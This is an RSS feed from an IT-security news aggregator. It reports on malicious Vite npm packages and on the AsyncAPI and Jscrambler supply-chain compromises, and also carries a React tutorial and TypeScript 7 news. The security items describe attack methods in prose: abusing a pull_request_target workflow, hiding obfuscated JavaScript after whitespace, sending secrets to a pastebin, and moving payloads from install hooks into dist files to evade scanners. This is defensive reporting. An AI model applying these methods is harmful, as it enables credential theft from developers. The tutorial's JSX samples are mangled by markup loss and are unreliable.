Remote-Access-Trojaner nachzuladen. Anders als viele klassische Malware-Loader wird die Payload nicht beim Installieren, sondern beim Import zur Laufzeit aktiviert. Betroffen sind insbesondere Entwickler, die Vite-basierte […]</p>
<div><a href="https://www.it-boltwise.de/malizioese-vite-npm-packages-nutzen-blockchain-c2-fuer-rat-zugriff.html">... den vollständigen Artikel <strong>»Maliziöse Vite-npm-Packages nutzen Blockchain-C2 für RAT-Zugriff«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/malizioese-vite-npm-packages-nutzen-blockchain-c2-fuer-rat-zugriff.html">Maliziöse Vite-npm-Packages nutzen Blockchain-C2 für RAT-Zugriff</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT]]></title>
<description><![CDATA[Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was…
Read more →
Th...]]></description>
<link>https://tsecurity.de/de/3676910/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676910/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</guid>
<pubDate>Fri, 17 Jul 2026 21:38:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/">Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT]]></title>
<description><![CDATA[Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack.

The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using...]]></description>
<link>https://tsecurity.de/de/3676891/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676891/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</guid>
<pubDate>Fri, 17 Jul 2026 21:23:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack.

The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using an "unprecedented" four-tier blockchain-based command-and-control (C2) infrastructure spanning Tron,]]></content:encoded>
</item>
<item>
<title><![CDATA[NPM ecosystem hit with two new supply chain compromises]]></title>
<description><![CDATA[Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised developmen...]]></description>
<link>https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</guid>
<pubDate>Wed, 15 Jul 2026 22:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised development credentials.</p>



<p class="wp-block-paragraph">The incidents highlight the cascading effect of software supply chain attacks in which stolen credentials are then used to perpetrate additional compromises. Security researchers advise organizations to completely rebuild from clean images any developer machines that have installed a poisoned package — and to rotate all npm tokens, source control access, cloud credentials, CI/CD secrets, SSH keys, signing keys, and browser sessions.</p>



<p class="wp-block-paragraph">Affected packages include: <a href="mailto:jscrambler@8.14.0">jscrambler@8.14.0</a>, <a href="mailto:jscrambler@8.16.0">jscrambler@8.16.0</a>, <a href="mailto:jscrambler@8.17.0">jscrambler@8.17.0</a>, <a href="mailto:jscrambler@8.18.0">jscrambler@8.18.0</a>, <a href="mailto:jscrambler@8.20.0">jscrambler@8.20.0</a>, @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2 and @asyncapi/specs@6.11.2-alpha.1.</p>



<p class="wp-block-paragraph">However, packages that list any of the above poisoned packages as dependencies may also be impacted, including those from the same projects, such as jscrambler-webpack-plugin 8.6.2, gulp-jscrambler 8.6.2, grunt-jscrambler 8.5.2, and jscrambler-metro-plugin 9.0.2.</p>



<h2 class="wp-block-heading">Vulnerable GitHub Actions workflow used as entry point</h2>



<p class="wp-block-paragraph">The attack against AsyncAPI, an open-source reference specification and toolset for implementing event-driven architectures and asynchronous APIs, occurred on Tuesday and was independently detected by multiple security companies monitoring the npm registry, including Upwind, Socket.dev, Wiz, StepSecurity, and Aikido Security.</p>



<p class="wp-block-paragraph">According to the researchers’ analysis, attackers took advantage of a <a href="https://www.csoonline.com/article/4008621/github-actions-attack-renders-even-security-aware-orgs-vulnerable.html">known configuration vulnerability in a GitHub Actions CI/CD workflow</a> that had been reported in April. The flaw involves the <code>pull_request_target</code> event, which executes whenever a new pull request is made. When triggered, the workflow automatically checks out and executes the developer’s submitted pull request code in the Actions container, but this is done in the context of the base repository with full access to secrets.</p>



<p class="wp-block-paragraph">The AsyncAPI project had <a href="https://github.com/asyncapi/generator/pull/2092">a proposed fix</a> since May 17, but the fix had not yet gone through the full review and was not merged into the main branch.</p>



<p class="wp-block-paragraph">“At 05:08 UTC, the attacker opened PR #2155 containing a markdown file with obfuscated JavaScript hidden after approximately 1,000 bytes of whitespace,” researchers from Wiz explained <a href="https://www.wiz.io/blog/m-red-team-asyncapi-supply-chain-compromise-via-github-actions">in their report</a>. “The payload was designed to scan the GitHub Actions runner’s environment for secrets and exfiltrate them to a dead-drop URL on the rentry.co pastebin.”</p>



<p class="wp-block-paragraph">When a GitHub Actions workflow is triggered and is executed in an environment, a temporary <code>GITHUB_TOKEN</code> is generated to allow for authenticated git commands against the repository. Other tokens might also be included.</p>



<p class="wp-block-paragraph">In this case, the attackers managed to obtain a token associated with asyncapi-bot, a service account that had access across the entire AsyncAPI organization on GitHub. This allowed them to perform malicious code commits in two separate repositories. Those commits then triggered automated build workflows that generated and published the npm packages.</p>



<p class="wp-block-paragraph">The payload bundled in the packages shares some similarities with a malware framework called Miasma that was used in previous supply chain compromises. However, the malware code appears to be significantly different from previously documented variants.</p>



<p class="wp-block-paragraph">The first-stage code downloads a secondary trojan payload that has variants for Linux, Windows, and macOS. This is a modular malware framework with credential theft capabilities that targets passwords and cookies saved inside browsers, SSH keys, npm and GitHub tokens, AWS credentials, macOS Keychain, and cryptocurrency wallets.</p>



<p class="wp-block-paragraph">The trojan communicated with a command-and-control server and can accept remote commands to perform file operations, list directories, and exfiltrate data.</p>



<h2 class="wp-block-heading">Jscrambler compromised via leaked npm credential</h2>



<p class="wp-block-paragraph">The Jscrambler attack happened over the weekend on July 11 with attackers publishing multiple trojanized versions in two waves. Jscrambler Code Integrity is a client-side security library designed to protect JavaScript-based web and mobile applications against tampering and reverse engineering.</p>



<p class="wp-block-paragraph">Jscrambler published <a href="https://jscrambler.com/blog/security-advisory-malicious-npm-package">an advisory</a> in response to the incident in which it clarified that the attackers published malicious versions of the package using a npm publishing credential. However, unlike the AsyncAPI case, how that credential was leaked in the first place is not clear.</p>



<p class="wp-block-paragraph">Initially the attackers released new package versions with two malicious scripts that get executed at install time using a preinstall hook in the configuration script. The scripts also execute platform-specific binaries for Linux, macOS, and Windows embedded in an obfuscated container.</p>



<p class="wp-block-paragraph">Because <code>preinstall</code> or <code>postinstall</code> hooks are common ways to deliver malware in npm packages, they are automatically checked by security tools. To avoid detection, the attackers pivoted to a method that involved injecting the malicious code directly in the <code>dist/index.js</code> and <code>dist/bin/jscrambler.js</code> files. This changed the malware execution from package installation time to when the package gets imported into other projects or the Jscrambler CLI is invoked.</p>



<p class="wp-block-paragraph">The embedded malware executables for different platforms are written in Rust and, according to <a href="https://socket.dev/blog/jscrambler-supply-chain-attack">Socket.dev’s analysis</a>, were “a broad, developer-focused credential and secret harvester” that targeted browser-extension crypto wallets, API keys from AI coding assistants and MCP servers, cloud credentials for AWS, Azure and GCP, authentication tokens for messaging applications (such as Discord, Slack, and Telegram), password stores from browsers, Steam, and KDE.<br><br><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[React tutorial: Get started with the React JavaScript library]]></title>
<description><![CDATA[Despite many worthy contenders, React remains the most popular front-end framework, and a key player in the JavaScript development landscape. React is the quintessential reactive engine, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React i...]]></description>
<link>https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Despite many <a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">worthy contenders</a>, React remains the most popular front-end framework, and a key player in the <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> development landscape. React is the quintessential <a href="https://www.infoworld.com/article/2338730/what-is-reactive-programming-programming-with-event-streams.html">reactive engine</a>, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React is now part of Meta Open Source. For developers new to JavaScript and web development, this tutorial will get you started with this vital technology.</p>



<p class="wp-block-paragraph">React is not only a front-end framework, but is a component in full-stack frameworks like <a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next.js</a>. Newer additions like React server-side rendering (SSR) and React server components (RSC) further blur the line between server and client.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3583477/is-the-react-compiler-ready-for-prime-time.html">Is the React compiler ready for primetime?</a></strong></p>



<h2 class="wp-block-heading">Why React?</h2>



<p class="wp-block-paragraph">React’s prominence makes it an obvious choice for developers just starting out with web development. It is often chosen for its ability to offer a smooth and encompassing developer experience (DX), which distinguishes it from frameworks like <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">Vue, Angular, and Svelte</a>. It could be said that React’s true “killer feature” is the perks that come with longstanding popularity: learning resources, community support, libraries, and developers are all plentiful in the React ecosystem.</p>



<h2 class="wp-block-heading">Installing React</h2>



<p class="wp-block-paragraph">Real-world React requires running on the server with a build tool, which we will explore in the next section. But to get your feet wet, we can start out with an online playground. There are several high-quality playgrounds for React, including full-blown environments like StackBlitz or Codesandbox. For a quick taste, we will use <a href="https://playcode.io/react">PlayCode React</a>.</p>



<p class="wp-block-paragraph">When you first open it, PlayCode React gives you a basic layout like the one shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image1.png?w=1024" alt="A screenshot shows the layout of a basic Rwact JavaScript application." class="wp-image-4116902" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">The menu on the left is the file explorer, at the top is the code window, and at the bottom are the console (on the left) and the preview pane (on the right).</p>



<p class="wp-block-paragraph">From this screenshot, you can see how the content of the code is displayed on the preview pane, but this basic layout doesn’t use any variables (or “state,” as it’s known in React). It does let you see some of the plumbing, like the React library import and the exported <code>App</code> function.</p>



<p class="wp-block-paragraph">Modern React is functional. The <code>App</code> function has a return value that is the actual output for the component. The component’s return is specified by <a href="https://www.infoworld.com/article/2335613/intro-to-jsx-html-that-does-javascript.html">JSX</a>, a templating language that lets you use HTML along with variables and JavaScript expressions. Right now, the app just has some simple markup.</p>



<p class="wp-block-paragraph">The classic example you see next is a “Counter” that lets you increase and decrease a displayed value using buttons. We’ll do a slight “Spinal Tap” variation of this, where the counter only goes to 11 and displays a message:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image2.png?w=1024" alt="A screenshot of a counter app developed in React." class="wp-image-4116903" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">You can take a look at the running example <a href="https://playcode.io/react-playground--019ac165-81fd-74b1-8681-188b66459b9e">here</a>, and the full code for the example is below:</p>



<pre class="wp-block-code"><code>import React, { useState } from 'react';

export function App() {
  // 1. The State
  const [volume, setVolume] = useState(0);

  return (
    <div>
      <h1>Spinal Tap Amp 🎸</h1>
     
      {/* 2. The "View" (Displaying the state) */}
      <div>
        {volume}
      </div>

      <div>
        {/* 3. The Actions */
        <button> setVolume(volume - 1)}&gt;Down</button>
       
        <button> {
          if (volume 
          Up
        </button>
      </div>

      {/* 4. Conditional */}
      {volume === 11 &amp;&amp;
        <p>"Why don't you just make ten louder?"</p>
      }
    </div>
  );
}</code></pre>



<p class="wp-block-paragraph">If you play with the example, you’ll see that moving the buttons changes the value, and the display automatically reflects the change. This is the essential magic of a reactive engine like React. The state is a managed variable that React automatically updates and displays. State is declared like so:</p>



<pre class="wp-block-code"><code>const [volume, setVolume] = useState(0);</code></pre>



<p class="wp-block-paragraph">The syntax is a bit funky if you are coming from straight JavaScript, but most developers can adapt to it quickly. Basically, <code>useState(0)</code> says, with a default value <code>0</code>, give me a variable, <code>volume</code>, and a function to set it, <code>setVolume</code>.</p>



<p class="wp-block-paragraph">To display the value in the view, we use: <code>{volume}</code>.</p>



<p class="wp-block-paragraph">To modify the value, we use button event handlers. For example, to increment, we’d do:</p>



<pre class="wp-block-code"><code>To modify the value, we use buttons event handlers.  For example, to increment:

onClick={() =&gt; setVolume(volume + 1)</code></pre>



<p class="wp-block-paragraph">Here we’ve directly modified the volume state, and React will update accordingly. If we wanted to, we could call a function (for example, if the logic were more involved).</p>



<p class="wp-block-paragraph">Finally, when the value reaches 11, we display a message. This syntax is idiomatic React, and uses an embedded JavaScript equality check:</p>



<pre class="wp-block-code"><code>{volume === 11 &amp;&amp;
  <p>"Why don't you just make ten louder?"</p>
}</code></pre>



<p class="wp-block-paragraph">The check says, if volume is 11, then display the <code><p></p></code> markup.</p>



<h2 class="wp-block-heading">Using a build tool with React</h2>



<p class="wp-block-paragraph">Once upon a time, when NVIDIA was nothing but a graphics card, it was quite a bit of work assembling a good build chain for React. These days, the process is much simpler, and the once ubiquitous <code>create-react-app</code> option is no more. <a href="https://www.infoworld.com/article/2266193/7-tools-transforming-javascript-development.html">Vite</a> is now the standard choice for launching a new app from the React terminal, so that’s the approach you’ll learn here.</p>



<p class="wp-block-paragraph">With that said, there are a few alternatives worth mentioning. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a> has extensions that will provide you with templates or scaffolding, but what’s becoming more common is <a href="https://www.infoworld.com/article/3973969/knowing-when-to-use-ai-coding-assistants.html">using an AI coding assistant</a>. A tool like Copilot, ChatGPT, or Gemini can take a prompt describing the basics of the application in question, including the instruction to use React, and produce a basic React layout for you. AI assistants are available in both command-line and VS Code extension flavors. Or, for an even more forward-looking option, you could use something like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">Firebase Studio</a>.</p>



<p class="wp-block-paragraph">But enough about alternatives—Vite is the standard for a reason. It is repeatable, capable, and fast. To launch a new Vite app, you just enter the following in your command line:</p>



<pre class="wp-block-code"><code>$ npm create vite@latest</code></pre>



<p class="wp-block-paragraph">The interactive tool will walk you through the process, starting with selecting React as your technology:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image3.png?w=1024" alt="A screenshot of the Vite CLI showing the option to select React." class="wp-image-4116905" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Use your own preferences for the other options (like using <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> versus JavaScript) and accept the option to install and launch the app immediately. Afterward, you’ll see a simple demo like this one:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image4.png?w=1024" alt="A screenshot showing the Vite demo app built with React." class="wp-image-4116907" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">The demo app has a counter component like the one we built earlier. If you Ctrl-c (or Cmd-c) to kill the Vite process running in the terminal, you can <code>cd</code> into the new directory. From there, you can see where the counter component is defined, in <code>src/App.jsx</code> (or <code>App.tsx</code> if you have selected TypeScript like I have).</p>



<p class="wp-block-paragraph">It’s worth looking at that file to see how React appears on the server:</p>



<pre class="wp-block-code"><code>src/App.tsx
import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      <div>
        <a href="https://vite.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BviteLogo%7D" alt="Vite logo">
        </a>
        <a href="https://react.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BreactLogo%7D" alt="React logo">
        </a>
      </div>
      <h1>Vite + React</h1>
      <div>
        <button> setCount((count) =&gt; count + 1)}&gt;
          count is {count}
        </button>
        <p>
          Edit <code>src/App.tsx</code> and save to test HMR
        </p>
      </div>
      <p>
        Click on the Vite and React logos to learn more
      </p>
    &gt;
  )
}

export default App&lt;/code&gt;</code></pre>



<p class="wp-block-paragraph">Notice we export the App as a module, which is used by the <code>src/main.tsx</code> file to display the component in the view. That file creates the bridge between the respective worlds of React and HTML:</p>



<pre class="wp-block-code"><code>import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  
    
  ,
)</code></pre>



<p class="wp-block-paragraph">Don’t worry too much about the details of how React bootstraps itself with <code>createRoot</code> and the <code>render</code> call (which you won’t have to interact with on a regular basis). The important thing is how the <code>App</code> component is imported and then used with the JSX.</p>



<p class="wp-block-paragraph"><strong>Note</strong></p>



<p class="wp-block-paragraph"><a href="https://react.dev/reference/react/StrictMode">Strict mode</a> adds warning during dev mode to help you catch component bugs early.</p>



<p class="wp-block-paragraph">There are a few rules to bear in mind when using JSX, the templating language of React:</p>



<ul class="wp-block-list">
<li>HTML elements are lowercase (<code><div>, <code></code>), but components are uppercase (<code></code>, <code></code>).



<li>You can’t just type “class” in JSX; instead, use <code>className</code>; e.g., <code><div>.



<li>To access the realm of JavaScript (and the application state) from within JSX, use curly braces: <code>{2 + 2 != 5}</code>.</li>




<h2 class="wp-block-heading">React components and props</h2>



<p class="wp-block-paragraph">The main organizational concept in React is the <em>component</em>. Components are used to contain the functionality for a part of the view within a self-contained package. We’ve seen a component in action already with <code></code> but it might be a little obscure, so let’s add another simple component to enhance the demonstration. This component also lets us explore another key part of React: Props.</p>



<p class="wp-block-paragraph">To start, let’s create a display of the counter value influenced by the Rob Reiner movie <em>This Is Spinal Tap</em>. To start, we create a new file at <code>src/VolumeDisplay.jsx</code>:</p>



<pre class="wp-block-code"><code>// src/VolumeDisplay.jsx

export function VolumeDisplay({ level }) {
  return (
    <div>
      {/* The Dial */}
      <div>= 11 ? '#d32f2f' : '#f0f0f0',
        color: level &gt;= 11 ? 'white' : 'black',
        transition: 'all 0.2s ease'
      }}&gt;
        {level}
      </div>

      {/* The Message */}
      {level &gt;= 11 &amp;&amp; (
        <p>
          "These go to eleven." 🤘
        </p>
      )}
    </div>
  );
}</code></pre>



<p class="wp-block-paragraph">This is a simple display but there are a couple of things worth noting about it.</p>



<p class="wp-block-paragraph">One is that we accept a prop (a property) “from above” with <code>VolumeDisplay({ level })</code>. This tells whatever parent component uses this one that <code>VolumeDisplay</code> accepts a single property, called <code>level</code>. <code>VolumeDisplay</code> uses the property by displaying it (though it adds a bit of fancying up using conditional logic like we have already seen).</p>



<p class="wp-block-paragraph">The way we define the CSS values, inside the double braces, <code>{{ }}</code>, and as a map of value is idiomatic React. (It isn’t essential at this point to grasp why it works that way, but basically, it is the JSX token <code>{ }</code> with a JavaScript map of CSS values using JavaScript-friendly camel-cased names, like <code>justifyContent</code>.)</p>



<p class="wp-block-paragraph">Now, to utilize this component, we can go to <code>App.jsx</code>, and make two changes:</p>



<pre class="wp-block-code"><code>import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'
// 1. Import our new component
import { VolumeDisplay } from './VolumeDisplay'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      <div>
        <a href="https://vite.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BviteLogo%7D" alt="Vite logo">
        </a>
        <a href="https://react.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BreactLogo%7D" alt="React logo">
        </a>
      </div>
      <h1>Vite + React</h1>
      <div>
        <button> setCount((count) =&gt; count + 1)}&gt;
          count is {count}
        </button>
        {/* 2. Pass the 'count' state into the 'level' prop */}
      
        <p>
          Edit <code>src/App.tsx</code> and save to test HMR
        </p>
      </div>
      <p>
        Click on the Vite and React logos to learn more
      </p>
    &gt;
  )
}

export default App&lt;/code&gt;</code></pre>



<p class="wp-block-paragraph">Here, we’ve done two things: imported the new component and used it in the view.</p>



<p class="wp-block-paragraph">Notice, also, that the <code></code> line passes the existing count state variable into <code>VolumeDisplay</code> as a prop. React will do the work of ensuring that whenever count changes, the <code>VolumeDisplay</code> will also be updated, including any dependent logic such as the conditional statements.</p>



<p class="wp-block-paragraph">Now, if we run the code like so:</p>



<pre class="wp-block-code"><code>$ npm run dev</code></pre>



<p class="wp-block-paragraph">We get what you see in the screenshot below:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image5.png?w=1024" alt="A screenshot of the running demo app built with Vite and React." class="wp-image-4116908" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The world is now your oyster, at least within the realm of JavaScript web development. Not only is React wildly popular, its basic ideas are applicable to a host of other innovative frameworks, including <a href="https://www.infoworld.com/article/2265950/hands-on-with-svelte.html">Svelte</a> and <a href="https://www.infoworld.com/article/2271109/hands-on-with-the-solid-javascript-framework.html">Solid</a>. (To get some idea of the alternatives, just type <code>npm create vite@latest</code> and look at all the available technologies.) Now that you have a basic introduction, a good next step for learning would be to add an <code></code> control that allows typing in the volume manually. Happy coding!</p>
</div></code></li></div></code></li></ul></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer-Häppchen fürs Wochenende – kleinere News der Woche]]></title>
<description><![CDATA[Kleine, aber interessante Meldungshäppchen vom News-Buffet zu Rustup, Python Software Foundation, Vite+, Kubermatic, Django, PyTorch, Kai, Eclipse und Rust.]]></description>
<link>https://tsecurity.de/de/3661427/it-nachrichten/developer-haeppchen-fuers-wochenende-kleinere-news-der-woche/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661427/it-nachrichten/developer-haeppchen-fuers-wochenende-kleinere-news-der-woche/</guid>
<pubDate>Sat, 11 Jul 2026 09:17:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kleine, aber interessante Meldungshäppchen vom News-Buffet zu Rustup, Python Software Foundation, Vite+, Kubermatic, Django, PyTorch, Kai, Eclipse und Rust.]]></content:encoded>
</item>
<item>
<title><![CDATA[Revving up Microsoft’s 10x faster TypeScript 7]]></title>
<description><![CDATA[It has been a year or so since Microsoft announced its plans to move TypeScript to a new, native runtime based on the Go language. Those first releases were unfinished (you had to compile them yourself) but showed promise, getting close to the expected 10x speed-up. That year has been one of stea...]]></description>
<link>https://tsecurity.de/de/3656432/ai-nachrichten/revving-up-microsofts-10x-faster-typescript-7/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656432/ai-nachrichten/revving-up-microsofts-10x-faster-typescript-7/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/3849654/typescript-gets-go-faster-stripes.html">It has been a year or so</a> since Microsoft announced its plans to move <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> to a new, native runtime based on the <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html" data-type="link" data-id="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go language</a>. Those first releases were unfinished (you had to compile them yourself) but showed promise, getting close to the expected 10x speed-up. That year has been one of steady progress, with <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/">Microsoft recently announcing the delivery of a release candidate build</a>.</p>



<p>This release candidate is ready for use. It installs from npm like previous versions, and like earlier builds it works in much the same way as previous versions of TypeScript, checking types in your code, compiling it to run on ECMAScript-compliant JavaScript engines, and running just about anywhere. In addition, a native preview of the TypeScript language server for <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> is available to help you write new TypeScript code and guide you through updating existing applications to the new language features.</p>



<p>All you need to do is enable the <a href="https://marketplace.visualstudio.com/items?itemName=TypeScriptTeam.native-preview" data-type="link" data-id="https://marketplace.visualstudio.com/items?itemName=TypeScriptTeam.native-preview">TypeScript 7 extension</a> through the Visual Studio command palette and start coding. There’s a lot of work going on to get the new tooling ready for the final release of TypeScript 7, and new versions of the language server are being released almost daily. It’s certainly popular, too, with nearly half a million downloads at the time of writing.</p>



<h2 class="wp-block-heading">What makes TypeScript 7 so much faster?</h2>



<p>So how is this new TypeScript so much faster? Key to the improvements is a shift to a new native compiler built in Go. This has allowed the team to change how it operates, adding parallelization where possible. In some cases, this isn’t easy, such as when type checking large codebases split across many files.</p>



<p>Here TypeScript spawns a small number of checker workers that run across your codebase. They work independently, so can duplicate the work — though the output will be the same. You can choose your own number of checkers, but the more you use, the more memory and CPU will be required.</p>



<p>Large monorepos with many projects require a similar approach with independent builder workers. You’ll need to balance this with the number of checkers in use, as this can cause significant resource issues.</p>



<p>There are some significant language and configuration changes from TypeScript 5 (TypeScript 6 has the same changes, which makes it a useful tool for experimenting with migrations). It’s well worth reading the release candidate documentation to understand how these will affect your code, as well as using the TypeScript 7 extension for Visual Studio Code to identify where you need to make changes.</p>



<h2 class="wp-block-heading">Working with users to build language tools</h2>



<p>One important aspect to the development of TypeScript 7 has been collaboration with existing users of the language and its tooling, as well as using the existing suite of TypeScript test tools that have been used to evaluate other versions. As this update is primarily a port of existing code, rather than a bottom-up rewrite, the underlying language semantics and structure are the same as those used in the original JavaScript codebase, ensuring that code will quickly port from old to new versions.</p>



<p>A major internal collaborator was the Visual Studio Code team, who have been using TypeScript to develop the familiar cross-platform development tool. It’s an important partnership between tool and language, as VS Code is a key TypeScript development tool, hosting TypeScript’s language server and using its compiler to provide debugging and code completion features.</p>



